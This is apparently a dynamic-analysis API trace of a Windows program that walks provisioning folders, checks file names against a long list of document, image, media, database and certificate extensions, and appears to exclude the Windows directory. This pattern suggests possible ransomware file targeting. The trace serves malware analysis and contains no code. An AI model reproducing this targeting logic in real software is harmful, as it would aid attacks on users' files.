	[0181.820] lstrlenW (lpString=".geo") returned 4
	[0181.820] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0181.820] lstrlenW (lpString=".gif") returned 4
	[0181.820] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0181.820] lstrlenW (lpString=".grs") returned 4
	[0181.820] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0181.820] lstrlenW (lpString=".gz") returned 3
	[0181.820] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0181.820] lstrlenW (lpString=".h") returned 2
	[0181.820] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0181.820] lstrlenW (lpString=".hdr") returned 4
	[0181.820] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0181.820] lstrlenW (lpString=".hpp") returned 4
	[0181.820] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0181.820] lstrlenW (lpString=".hta") returned 4
	[0181.820] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1
	[0181.820] lstrlenW (lpString=".htc") returned 4
	[0181.820] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1
	[0181.820] lstrlenW (lpString=".htm") returned 4
	[0181.821] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1
	[0181.821] lstrlenW (lpString=".html") returned 5
	[0181.821] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1
	[0181.821] lstrlenW (lpString=".icb") returned 4
	[0181.821] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1
	[0181.821] lstrlenW (lpString=".ics") returned 4
	[0181.821] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1
	[0181.821] lstrlenW (lpString=".iff") returned 4
	[0181.821] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1
	[0181.821] lstrlenW (lpString=".inc") returned 4
	[0181.821] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1
	[0181.821] lstrlenW (lpString=".indd") returned 5
	[0181.821] lstrcmpiW (lpString1=".indd", lpString2="e.xml") returned -1
	[0181.821] lstrlenW (lpString=".ini") returned 4
	[0181.821] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1
	[0181.821] lstrlenW (lpString=".iqy") returned 4
	[0181.821] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1
	[0181.821] lstrlenW (lpString=".j2c") returned 4
	[0181.821] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1
	[0181.821] lstrlenW (lpString=".j2k") returned 4
	[0181.821] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1
	[0181.821] lstrlenW (lpString=".java") returned 5
	[0181.821] lstrcmpiW (lpString1=".java", lpString2="e.xml") returned -1
	[0181.821] lstrlenW (lpString=".jp2") returned 4
	[0181.821] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1
	[0181.821] lstrlenW (lpString=".jpc") returned 4
	[0181.821] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1
	[0181.821] lstrlenW (lpString=".jpe") returned 4
	[0181.821] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1
	[0181.821] lstrlenW (lpString=".jpeg") returned 5
	[0181.821] lstrcmpiW (lpString1=".jpeg", lpString2="e.xml") returned -1
	[0181.821] lstrlenW (lpString=".jpf") returned 4
	[0181.821] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1
	[0181.821] lstrlenW (lpString=".jpg") returned 4
	[0181.821] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0181.821] lstrlenW (lpString=".jpx") returned 4
	[0181.821] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1
	[0181.821] lstrlenW (lpString=".js") returned 3
	[0181.822] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1
	[0181.822] lstrlenW (lpString=".jsf") returned 4
	[0181.822] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1
	[0181.822] lstrlenW (lpString=".json") returned 5
	[0181.822] lstrcmpiW (lpString1=".json", lpString2="e.xml") returned -1
	[0181.822] lstrlenW (lpString=".jsp") returned 4
	[0181.822] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1
	[0181.822] lstrlenW (lpString=".kdc") returned 4
	[0181.822] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1
	[0181.822] lstrlenW (lpString=".kmz") returned 4
	[0181.822] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1
	[0181.822] lstrlenW (lpString=".kwm") returned 4
	[0181.822] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1
	[0181.822] lstrlenW (lpString=".lasso") returned 6
	[0181.822] lstrcmpiW (lpString1=".lasso", lpString2="me.xml") returned -1
	[0181.822] lstrlenW (lpString=".lbi") returned 4
	[0181.822] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1
	[0181.822] lstrlenW (lpString=".lgf") returned 4
	[0181.822] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1
	[0181.822] lstrlenW (lpString=".lgp") returned 4
	[0181.822] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1
	[0181.822] lstrlenW (lpString=".log") returned 4
	[0181.822] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1
	[0181.822] lstrlenW (lpString=".m1v") returned 4
	[0181.822] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1
	[0181.822] lstrlenW (lpString=".m4a") returned 4
	[0181.822] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1
	[0181.822] lstrlenW (lpString=".m4v") returned 4
	[0181.822] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1
	[0181.822] lstrlenW (lpString=".max") returned 4
	[0181.822] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1
	[0181.822] lstrlenW (lpString=".md") returned 3
	[0181.822] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1
	[0181.822] lstrlenW (lpString=".mda") returned 4
	[0181.822] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1
	[0181.822] lstrlenW (lpString=".mdb") returned 4
	[0181.822] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1
	[0181.823] lstrlenW (lpString=".mde") returned 4
	[0181.823] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1
	[0181.823] lstrlenW (lpString=".mdf") returned 4
	[0181.823] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1
	[0181.823] lstrlenW (lpString=".mdw") returned 4
	[0181.823] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1
	[0181.823] lstrlenW (lpString=".mef") returned 4
	[0181.823] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1
	[0181.823] lstrlenW (lpString=".mft") returned 4
	[0181.823] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1
	[0181.823] lstrlenW (lpString=".mfw") returned 4
	[0181.823] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1
	[0181.823] lstrlenW (lpString=".mht") returned 4
	[0181.823] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1
	[0181.823] lstrlenW (lpString=".mhtml") returned 6
	[0181.823] lstrcmpiW (lpString1=".mhtml", lpString2="me.xml") returned -1
	[0181.823] lstrlenW (lpString=".mka") returned 4
	[0181.823] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1
	[0181.823] lstrlenW (lpString=".mkidx") returned 6
	[0181.823] lstrcmpiW (lpString1=".mkidx", lpString2="me.xml") returned -1
	[0181.823] lstrlenW (lpString=".mkv") returned 4
	[0181.823] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1
	[0181.823] lstrlenW (lpString=".mos") returned 4
	[0181.823] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1
	[0181.823] lstrlenW (lpString=".mov") returned 4
	[0181.823] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1
	[0181.823] lstrlenW (lpString=".mp3") returned 4
	[0181.823] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1
	[0181.823] lstrlenW (lpString=".mp4") returned 4
	[0181.823] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1
	[0181.823] lstrlenW (lpString=".mpeg") returned 5
	[0181.823] lstrcmpiW (lpString1=".mpeg", lpString2="e.xml") returned -1
	[0181.823] lstrlenW (lpString=".mpg") returned 4
	[0181.823] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1
	[0181.823] lstrlenW (lpString=".mpv") returned 4
	[0181.823] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1
	[0181.824] lstrlenW (lpString=".mrw") returned 4
	[0181.824] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1
	[0181.824] lstrlenW (lpString=".msg") returned 4
	[0181.824] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1
	[0181.824] lstrlenW (lpString=".mxl") returned 4
	[0181.824] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1
	[0181.824] lstrlenW (lpString=".myd") returned 4
	[0181.824] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1
	[0181.824] lstrlenW (lpString=".myi") returned 4
	[0181.824] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1
	[0181.824] lstrlenW (lpString=".nef") returned 4
	[0181.824] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1
	[0181.824] lstrlenW (lpString=".nrw") returned 4
	[0181.824] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1
	[0181.824] lstrlenW (lpString=".obj") returned 4
	[0181.824] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1
	[0181.824] lstrlenW (lpString=".odb") returned 4
	[0181.824] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1
	[0181.824] lstrlenW (lpString=".odc") returned 4
	[0181.824] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1
	[0181.824] lstrlenW (lpString=".odm") returned 4
	[0181.824] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1
	[0181.824] lstrlenW (lpString=".odp") returned 4
	[0181.824] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1
	[0181.824] lstrlenW (lpString=".ods") returned 4
	[0181.824] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1
	[0181.824] lstrlenW (lpString=".oft") returned 4
	[0181.824] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1
	[0181.824] lstrlenW (lpString=".one") returned 4
	[0181.824] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1
	[0181.824] lstrlenW (lpString=".onepkg") returned 7
	[0181.824] lstrcmpiW (lpString1=".onepkg", lpString2="ime.xml") returned -1
	[0181.824] lstrlenW (lpString=".onetoc2") returned 8
	[0181.824] lstrcmpiW (lpString1=".onetoc2", lpString2="Time.xml") returned -1
	[0181.824] lstrlenW (lpString=".opt") returned 4
	[0181.824] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1
	[0181.824] lstrlenW (lpString=".oqy") returned 4
	[0181.824] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1
	[0181.825] lstrlenW (lpString=".orf") returned 4
	[0181.825] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1
	[0181.825] lstrlenW (lpString=".p12") returned 4
	[0181.825] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1
	[0181.825] lstrlenW (lpString=".p7b") returned 4
	[0181.825] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1
	[0181.825] lstrlenW (lpString=".p7c") returned 4
	[0181.825] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1
	[0181.825] lstrlenW (lpString=".pam") returned 4
	[0181.825] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1
	[0181.825] lstrlenW (lpString=".pbm") returned 4
	[0181.825] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1
	[0181.825] lstrlenW (lpString=".pct") returned 4
	[0181.825] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1
	[0181.825] lstrlenW (lpString=".pcx") returned 4
	[0181.825] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1
	[0181.825] lstrlenW (lpString=".pdd") returned 4
	[0181.825] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1
	[0181.825] lstrlenW (lpString=".pdf") returned 4
	[0181.825] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0181.825] lstrlenW (lpString=".pdp") returned 4
	[0181.825] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1
	[0181.825] lstrlenW (lpString=".pef") returned 4
	[0181.825] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1
	[0181.825] lstrlenW (lpString=".pem") returned 4
	[0181.825] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1
	[0181.825] lstrlenW (lpString=".pff") returned 4
	[0181.825] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1
	[0181.825] lstrlenW (lpString=".pfm") returned 4
	[0181.825] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1
	[0181.825] lstrlenW (lpString=".pfx") returned 4
	[0181.825] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1
	[0181.825] lstrlenW (lpString=".pgm") returned 4
	[0181.825] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1
	[0181.825] lstrlenW (lpString=".php") returned 4
	[0181.825] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1
	[0181.825] lstrlenW (lpString=".php3") returned 5
	[0181.826] lstrcmpiW (lpString1=".php3", lpString2="e.xml") returned -1
	[0181.826] lstrlenW (lpString=".php4") returned 5
	[0181.826] lstrcmpiW (lpString1=".php4", lpString2="e.xml") returned -1
	[0181.826] lstrlenW (lpString=".php5") returned 5
	[0181.826] lstrcmpiW (lpString1=".php5", lpString2="e.xml") returned -1
	[0181.826] lstrlenW (lpString=".phtml") returned 6
	[0181.826] lstrcmpiW (lpString1=".phtml", lpString2="me.xml") returned -1
	[0181.826] lstrlenW (lpString=".pict") returned 5
	[0181.826] lstrcmpiW (lpString1=".pict", lpString2="e.xml") returned -1
	[0181.826] lstrlenW (lpString=".pl") returned 3
	[0181.826] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1
	[0181.826] lstrlenW (lpString=".pls") returned 4
	[0181.826] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1
	[0181.826] lstrlenW (lpString=".pm") returned 3
	[0181.826] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1
	[0181.826] lstrlenW (lpString=".png") returned 4
	[0181.826] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1
	[0181.826] lstrlenW (lpString=".pnm") returned 4
	[0181.826] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1
	[0181.826] lstrlenW (lpString=".pot") returned 4
	[0181.826] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1
	[0181.826] lstrlenW (lpString=".potm") returned 5
	[0181.826] lstrcmpiW (lpString1=".potm", lpString2="e.xml") returned -1
	[0181.826] lstrlenW (lpString=".potx") returned 5
	[0181.826] lstrcmpiW (lpString1=".potx", lpString2="e.xml") returned -1
	[0181.826] lstrlenW (lpString=".ppa") returned 4
	[0181.826] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1
	[0181.826] lstrlenW (lpString=".ppam") returned 5
	[0181.826] lstrcmpiW (lpString1=".ppam", lpString2="e.xml") returned -1
	[0181.826] lstrlenW (lpString=".ppm") returned 4
	[0181.826] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1
	[0181.826] lstrlenW (lpString=".pps") returned 4
	[0181.826] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1
	[0181.826] lstrlenW (lpString=".ppsm") returned 5
	[0181.826] lstrcmpiW (lpString1=".ppsm", lpString2="e.xml") returned -1
	[0181.826] lstrlenW (lpString=".ppt") returned 4
	[0181.826] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0181.826] lstrlenW (lpString=".pptm") returned 5
	[0181.827] lstrcmpiW (lpString1=".pptm", lpString2="e.xml") returned -1
	[0181.827] lstrlenW (lpString=".pptx") returned 5
	[0181.827] lstrcmpiW (lpString1=".pptx", lpString2="e.xml") returned -1
	[0181.827] lstrlenW (lpString=".prn") returned 4
	[0181.827] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1
	[0181.827] lstrlenW (lpString=".ps") returned 3
	[0181.827] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1
	[0181.827] lstrlenW (lpString=".psb") returned 4
	[0181.827] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1
	[0181.827] lstrlenW (lpString=".psd") returned 4
	[0181.827] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1
	[0181.827] lstrlenW (lpString=".pst") returned 4
	[0181.827] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1
	[0181.827] lstrlenW (lpString=".ptx") returned 4
	[0181.827] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1
	[0181.827] lstrlenW (lpString=".pub") returned 4
	[0181.827] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1
	[0181.827] lstrlenW (lpString=".pwm") returned 4
	[0181.827] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1
	[0181.827] lstrlenW (lpString=".pxr") returned 4
	[0181.827] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1
	[0181.827] lstrlenW (lpString=".py") returned 3
	[0181.827] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1
	[0181.827] lstrlenW (lpString=".qt") returned 3
	[0181.827] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1
	[0181.827] lstrlenW (lpString=".r3d") returned 4
	[0181.827] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1
	[0181.827] lstrlenW (lpString=".raf") returned 4
	[0181.827] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1
	[0181.827] lstrlenW (lpString=".rar") returned 4
	[0181.827] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0181.827] lstrlenW (lpString=".raw") returned 4
	[0181.827] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1
	[0181.827] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.828] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0
	[0181.828] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0181.828] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.828] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", cAlternateFileName="{8FB7D~1")) returned 1
	[0182.048] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0182.048] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0182.049] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0182.050] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0
	[0182.051] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0182.051] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0182.051] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{99b095d8-5959-4820-bea7-7448c8427b4e}", cAlternateFileName="{99B09~1")) returned 1
	[0182.051] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0182.051] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0182.051] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0182.051] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0
	[0182.051] FindClose (in: hFindFile=0x4140e98 | out: hFindFile=0x4140e98) returned 1
	[0182.051] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0182.051] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", cAlternateFileName="{9AEC5~1")) returned 1
	[0182.053] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0182.053] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54002dee, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0182.054] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0182.054] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0
	[0182.054] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0182.054] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0182.054] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", cAlternateFileName="{9DF6A~1")) returned 1
	[0182.068] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned 76
	[0182.070] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned 1
	[0182.076] lstrlenW (lpString="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned 38
	[0182.079] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned 1
	[0182.082] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0182.082] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned 76
	[0182.082] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\*", lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140c58
	[0182.082] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
